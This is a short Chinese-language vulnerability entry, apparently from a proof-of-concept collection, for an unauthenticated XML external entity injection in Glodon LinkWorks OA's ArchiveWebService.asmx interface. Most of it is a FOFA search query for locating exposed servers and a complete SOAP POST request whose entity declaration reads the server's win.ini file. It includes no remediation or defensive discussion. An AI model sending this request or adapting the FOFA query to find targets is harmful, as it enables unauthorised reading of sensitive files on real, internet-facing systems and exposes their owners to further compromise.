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32 lines
3.6 KiB
Markdown
32 lines
3.6 KiB
Markdown
# 广联达OA接口ArchiveWebService存在XML实体注入漏洞
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广联达 LinkWorks /GB/LK/Document/ArchiveService/ArchiveWebService.asmx接口处存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。
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## fofa
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```yaml
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body="Services/Identification/login.ashx" || header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"
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```
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## poc
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```yaml
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POST /GB/LK/Document/ArchiveService/ArchiveWebService.asmx HTTP/1.1
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Host:
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Content-Type: text/xml; charset=utf-8
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Content-Length: length
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SOAPAction: "http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx/PostArchiveInfo"
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<?xml version="1.0" encoding="utf-8"?>
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<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
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<soap:Body>
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<PostArchiveInfo xmlns="http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx">
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<archiveInfo><!DOCTYPE Archive [
    <!ENTITY secret SYSTEM "file:///windows/win.ini">
]>

<Archive>  
    <ArchiveInfo>  
        <UploaderID>
############


&secret;


##############
</UploaderID>  
    </ArchiveInfo>  
    <Result>  
        <MainDoc>Document Content</MainDoc>  
    </Result>  
    <DocInfo>  
        <DocTypeID>1</DocTypeID>  
        <DocVersion>1.0</DocVersion>  
    </DocInfo>  
</Archive></archiveInfo>
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<folderIdList>string</folderIdList>
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<platId>string</platId>
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</PostArchiveInfo>
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</soap:Body>
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</soap:Envelope>
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```
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